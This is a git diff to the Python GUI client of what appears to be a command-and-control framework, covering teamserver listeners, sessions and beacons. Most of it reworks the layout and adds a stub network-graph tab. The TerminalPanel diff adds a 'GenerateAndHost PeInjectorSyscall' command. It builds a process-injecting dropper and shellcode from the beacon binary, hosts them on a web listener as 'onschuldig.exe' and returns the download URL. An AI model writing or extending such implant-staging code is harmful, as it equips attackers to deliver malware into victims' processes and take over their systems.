diff --git a/client/GUI.py b/client/GUI.py index 16232a4..70d01d6 100644 --- a/client/GUI.py +++ b/client/GUI.py @@ -11,12 +11,14 @@ from ListenerPanel import * from SessionPanel import * from ConsolePanel import * from PayloadPanel import * +from GraphPanel import * import qdarktheme signal.signal(signal.SIGINT, signal.SIG_DFL) + class App(QMainWindow): def __init__(self, ip, port, devMode): @@ -24,6 +26,7 @@ class App(QMainWindow): self.ip = ip self.port = port + self.devMode = devMode self.createPayloadWindow = None @@ -38,47 +41,60 @@ class App(QMainWindow): central_widget = QWidget() self.setCentralWidget(central_widget) - self.m_w11 = QWidget() - self.m_w12 = QWidget() - self.m_w21 = QWidget() - config_button = QPushButton("Payload") config_button.clicked.connect(self.payloadForm) - lay = QGridLayout(central_widget) - lay.setRowStretch(1, 3) - lay.setRowStretch(2, 7) - # TODO complet PayloadPanel - # row: int, column: int, rowSpan: int, columnSpan: int, alignment - #lay.addWidget(config_button, 0, 0, 1, 1) - lay.addWidget(self.m_w11, 1, 0, 1, 1) - lay.addWidget(self.m_w12, 1, 1, 1, 1) - lay.addWidget(self.m_w21, 2, 0, 1, 2) + self.mainLayout = QGridLayout(central_widget) + self.mainLayout.setContentsMargins(0, 0, 0, 0) + self.mainLayout.setRowStretch(1, 3) + self.mainLayout.setRowStretch(2, 7) - lay = QVBoxLayout(self.m_w11) - sessionsWidget = Sessions(self, ip, port, devMode) - lay.addWidget(sessionsWidget) + self.topLayout() + self.botLayout() - lay = QVBoxLayout(self.m_w12) - listenersWidget = Listeners(self, ip, port, devMode) - lay.addWidget(listenersWidget) - - lay = QVBoxLayout(self.m_w21) - consoleWidget = ConsolesTab(self, ip, port, devMode) - lay.addWidget(consoleWidget) - - sessionsWidget.interactWithSession.connect(consoleWidget.addConsole) + self.sessionsWidget.interactWithSession.connect(self.consoleWidget.addConsole) self.show() + + def topLayout(self): + + self.topWidget = QTabWidget() + + self.m_main = QWidget() + + self.m_main.layout = QHBoxLayout(self.m_main) + self.m_main.layout.setContentsMargins(0, 0, 0, 0) + self.sessionsWidget = Sessions(self, self.ip, self.port, self.devMode) + self.m_main.layout.addWidget(self.sessionsWidget) + self.listenersWidget = Listeners(self, self.ip, self.port, self.devMode) + self.m_main.layout.addWidget( self.listenersWidget) + + self.topWidget.addTab(self.m_main, "Main") + + self.graphWidget = Graph(self, self.ip, self.port, self.devMode) + + self.topWidget.addTab(self.graphWidget, "Graph") + + self.mainLayout.addWidget(self.topWidget, 1, 1, 1, 1) + + + def botLayout(self): + + self.consoleWidget = ConsolesTab(self, self.ip, self.port, self.devMode) + self.mainLayout.addWidget(self.consoleWidget, 2, 0, 1, 2) + + def __del__(self): print("Exit") + def payloadForm(self): if self.createPayloadWindow is None: self.createPayloadWindow = CreatePayload() self.createPayloadWindow.show() + if __name__ == '__main__': parser = argparse.ArgumentParser(description='TeamServer IP and port.') diff --git a/client/GraphPanel.py b/client/GraphPanel.py new file mode 100644 index 0000000..a178118 --- /dev/null +++ b/client/GraphPanel.py @@ -0,0 +1,136 @@ +import sys +import os +import time +from threading import Thread, Lock +from PyQt5.QtWidgets import * +from PyQt5.QtGui import * +from PyQt5.QtCore import * +from PyQt5.QtGui import QPixmap, QTransform + +from grpcClient import * + + +# https://www.pythonguis.com/tutorials/pyqt-qgraphics-vector-graphics/ +# https://github.com/HavocFramework/Havoc/blob/a3f36e843b4df7f7f9124c68e61c137811c87ee5/client/include/UserInterface/Widgets/SessionGraph.hpp#L87 +class Graph(QWidget): + + def __init__(self, parent, ip, port, devMode): + super(QWidget, self).__init__(parent) + + width = self.frameGeometry().width() + height = self.frameGeometry().height() + + print("width", width) + print("height", height) + + self.ip = ip + self.port = port + self.grpcClient = GrpcClient(ip, port, devMode) + + self.scene = QGraphicsScene() + + for x in range(0,500,50): + self.scene.addLine(x, 0, x, 500) + for y in range(0,500,50): + self.scene.addLine(0, y, 500, y) + + pixmap = QPixmap("firewall.png") + pixmap = pixmap.scaled(64, 64) + pixmapitem = self.scene.addPixmap(pixmap) + pixmapitem.setPos(100, 50 ); + + # pixmap = QPixmap("pc2.png") + # pixmap = pixmap.scaled(64, 64) + # pixmapitem = self.scene.addPixmap(pixmap) + # pixmapitem.setPos(250, 70) + + self.view = QGraphicsView(self.scene) + self.view.setRenderHint(QPainter.Antialiasing) + + + + + + + self.view._scene_rect = None + self.view._scene_transform = None + self.view._start_point = None + + self.view.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) + self.view.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff) + self.view.setRenderHint(QPainter.Antialiasing) + self.view.setMouseTracking(True) + self.view.setTransformationAnchor(self.view.NoAnchor) + self.view.setResizeAnchor(self.view.NoAnchor) + + + transform = QTransform() + center = self.view.mapToScene(self.view.viewport().rect().center()) + transform.translate(center.x(), center.y()) + transform.scale(1 , 1 ) + transform.translate(-center.x(), -center.y()) + + self.view.setTransform(transform) + + + + + + # Set all items as moveable and selectable. + for item in self.scene.items(): + item.setFlag(QGraphicsItem.ItemIsMovable) + item.setFlag(QGraphicsItem.ItemIsSelectable) + + self.vbox = QVBoxLayout() + self.vbox.setContentsMargins(0, 0, 0, 0) + self.vbox.addWidget(self.view) + + self.setLayout(self.vbox) + + + # Thread to get listeners every second + # https://realpython.com/python-pyqt-qthread/ + self.thread = QThread() + self.getGraphInfoWorker = GetGraphInfoWorker() + self.getGraphInfoWorker.moveToThread(self.thread) + self.thread.started.connect(self.getGraphInfoWorker.run) + self.getGraphInfoWorker.checkin.connect(self.updateGraph) + self.thread.start() + + + def __del__(self): + self.getGraphInfoWorker.quit() + self.thread.quit() + self.thread.wait() + + + # query the server to get the list of listeners + def updateGraph(self): + listeners = self.grpcClient.getListeners() + + sessions = self.grpcClient.getSessions() + + # pixmap = QPixmap("pc.png") + # pixmap = pixmap.scaled(64, 64) + # pixmapitem = self.scene.addPixmap(pixmap) + # # pixmapitem.setPos(250, 70) + + # # Set all items as moveable and selectable. + # for item in self.scene.items(): + # item.setFlag(QGraphicsItem.ItemIsMovable) + # item.setFlag(QGraphicsItem.ItemIsSelectable) + + +class GetGraphInfoWorker(QObject): + checkin = pyqtSignal() + + exit=False + + def run(self): + while self.exit==False: + self.checkin.emit() + time.sleep(1) + + def quit(self): + self.exit=True + diff --git a/client/TerminalPanel.py b/client/TerminalPanel.py index ac9f5f0..4345a39 100644 --- a/client/TerminalPanel.py +++ b/client/TerminalPanel.py @@ -17,6 +17,11 @@ import GeneratePowershellLauncher sys.path.insert(1, './PeDropper/') import GenerateDropperBinary +if os.path.exists(os.path.join(os.getcwd(), 'PeInjectorSyscall')): + sys.path.insert(1, './PeInjectorSyscall/') + import GenerateInjector + + class Terminal(QWidget): tabPressed = pyqtSignal() @@ -25,6 +30,7 @@ class Terminal(QWidget): def __init__(self, parent, ip, port, devMode): super(QWidget, self).__init__(parent) self.layout = QVBoxLayout(self) + self.layout.setContentsMargins(0, 0, 0, 0) self.grpcClient = GrpcClient(ip, port, devMode) @@ -39,11 +45,6 @@ class Terminal(QWidget): self.layout.addWidget(self.commandEditor, 2) self.commandEditor.returnPressed.connect(self.runCommand) - - def __del__(self): - self.thread.quit() - self.thread.wait() - def nextCompletion(self): index = self._compl.currentIndex() self._compl.popup().setCurrentIndex(index) @@ -297,7 +298,8 @@ exemple: helpMsg = """GenerateAndHost: GenerateAndHost generate a playload that is store on the teamserver to be downloaded by a web request from a web listener (http/https): exemple: -- GenerateAndHost PowershellWebDelivery listenerHash hostListenerHash""" +- GenerateAndHost PowershellWebDelivery listenerHash hostListenerHash +- GenerateAndHost PeInjectorSyscall processToInject listenerHash hostListenerHash""" line = '\n' + helpMsg + '\n'; self.editorOutput.insertPlainText(line) @@ -329,6 +331,32 @@ exemple: listenerDownload = listenerBeacon self.GenerateAndHostPowershellWebDelivery(commandLine, listenerDownload, listenerBeacon) + + if mode == "PeInjectorSyscall": + if len(instructions) < 4: + line = '
[+] ' + commandLine + '
' + self.editorOutput.appendHtml(line) + helpMsg = """GenerateAndHost PeInjectorSyscall: +Generate a .... +exemple: +- GenerateAndHost PeInjectorSyscall processToInject listenerHash +- GenerateAndHost PeInjectorSyscall processToInject listenerHash hostListenerHash""" + + line = '\n' + helpMsg + '\n'; + self.editorOutput.insertPlainText(line) + return; + + # should take 2 listeners: + # the http/https listener to download the payload from + # one listner for the beacon to connect to + processToInject = instructions[2] + listenerBeacon = instructions[3] + if len(instructions) >= 5: + listenerDownload = instructions[4] + else: + listenerDownload = listenerBeacon + + self.GenerateAndHostPeInjectorSyscall(commandLine, listenerDownload, listenerBeacon, processToInject) else: line = '[+] ' + commandLine + '
' @@ -460,6 +488,147 @@ exemple: self.editorOutput.insertPlainText(line) + # Implementation de GenerateAndHost PeInjectorSyscall + def GenerateAndHostPeInjectorSyscall(self, commandLine, listenerDownload, listenerBeacon, processToInject): + commandTeamServer = "infoListener "+listenerDownload + termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer) + resultTermCommand = self.grpcClient.sendTermCmd(termCommand) + + result = resultTermCommand.result + if "Error" in result: + line = '[+] ' + commandLine + '
' + self.editorOutput.appendHtml(line) + line = '\n' + result + '\n'; + self.editorOutput.insertPlainText(line) + return + + results = result.split("\n") + if len(results)<4: + return + + schemeDownload = results[0] + ipDownload = results[1] + portDownload = results[2] + downloadPath = results[3] + if not downloadPath: + error = "Error: Download listener must be of type http or https." + self.editorOutput.insertPlainText(error) + return + + if downloadPath[0]=="/": + downloadPath = downloadPath[1:] + + if listenerBeacon != listenerDownload: + commandTeamServer = "infoListener "+listenerBeacon + termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer) + resultTermCommand = self.grpcClient.sendTermCmd(termCommand) + + result = resultTermCommand.result + if "Error" in result: + line = '[+] ' + commandLine + '
' + self.editorOutput.appendHtml(line) + line = '\n' + result + '\n'; + self.editorOutput.insertPlainText(line) + return + + results = result.split("\n") + if len(results)<4: + return + + scheme = results[0] + ip = results[1] + port = results[2] + else: + scheme=schemeDownload + ip=ipDownload + port=portDownload + + commandTeamServer = "getBeaconBinary "+listenerBeacon + termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer) + resultTermCommand = self.grpcClient.sendTermCmd(termCommand) + + result = resultTermCommand.result + if "Error" in result: + line = '[+] ' + commandLine + '
' + self.editorOutput.appendHtml(line) + line = '\n' + result + '\n'; + self.editorOutput.insertPlainText(line) + return + + print("Beacon size", len(resultTermCommand.data)) + beaconFilePath = "./BeaconHttp.exe" + beaconFile = open(beaconFilePath, "wb") + beaconFile.write(resultTermCommand.data) + + beaconArg = ip+" "+port + if scheme=="http" or scheme=="https": + beaconArg = beaconArg+" "+scheme + + # Generate the 2 files + process = processToInject + filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15)) + urlStage = schemeDownload + "://" + ipDownload + ":" + portDownload + "/" + downloadPath + filename + + if not os.path.exists(os.path.join(os.getcwd(), 'PeInjectorSyscall')): + line = '[+] ' + commandLine + '
' + self.editorOutput.appendHtml(line) + line = '\n' + "PeInjectorSyscall module not found" + '\n'; + self.editorOutput.insertPlainText(line) + return + + dropperExePath, shellcodePath = GenerateInjector.generatePayloads(beaconFilePath, beaconArg, "", process, urlStage) + + # Upload the file and get the path + try: + with open(dropperExePath, mode='rb') as fileDesc: + payload = fileDesc.read() + except IOError: + line = '[+] ' + commandLine + '
' + self.editorOutput.appendHtml(line) + line = '\n' + "Error: File does not appear to exist." + '\n'; + self.editorOutput.insertPlainText(line) + return + + commandTeamServer = "putIntoUploadDir "+listenerDownload+" "+"onschuldig.exe" + termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer, data=payload) + resultTermCommand = self.grpcClient.sendTermCmd(termCommand) + + result = resultTermCommand.result + if "Error" in result: + line = '[+] ' + commandLine + '
' + self.editorOutput.appendHtml(line) + line = '\n' + result + '\n'; + self.editorOutput.insertPlainText(line) + return + + try: + with open(shellcodePath, mode='rb') as fileDesc: + payload = fileDesc.read() + except IOError: + line = '[+] ' + commandLine + '
' + self.editorOutput.appendHtml(line) + line = '\n' + "Error: File does not appear to exist." + '\n'; + self.editorOutput.insertPlainText(line) + return + + commandTeamServer = "putIntoUploadDir "+listenerDownload+" "+filename + termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer, data=payload) + resultTermCommand = self.grpcClient.sendTermCmd(termCommand) + + result = resultTermCommand.result + if "Error" in result: + line = '[+] ' + commandLine + '
' + self.editorOutput.appendHtml(line) + line = '\n' + result + '\n'; + self.editorOutput.insertPlainText(line) + return + + result = schemeDownload + "://" + ipDownload + ":" + portDownload + "/" + downloadPath + "onschuldig.exe" + line = '[+] ' + commandLine + '
' + self.editorOutput.appendHtml(line) + line = '\n' + result + '\n'; + self.editorOutput.insertPlainText(line) + def setCursorEditorAtEnd(self): cursor = self.editorOutput.textCursor() cursor.movePosition(QTextCursor.End,) @@ -543,6 +712,7 @@ completerData = [ ]), ('GenerateAndHost',[ ('PowershellWebDelivery',[]), + ('PeInjectorSyscall',[]), ]), ]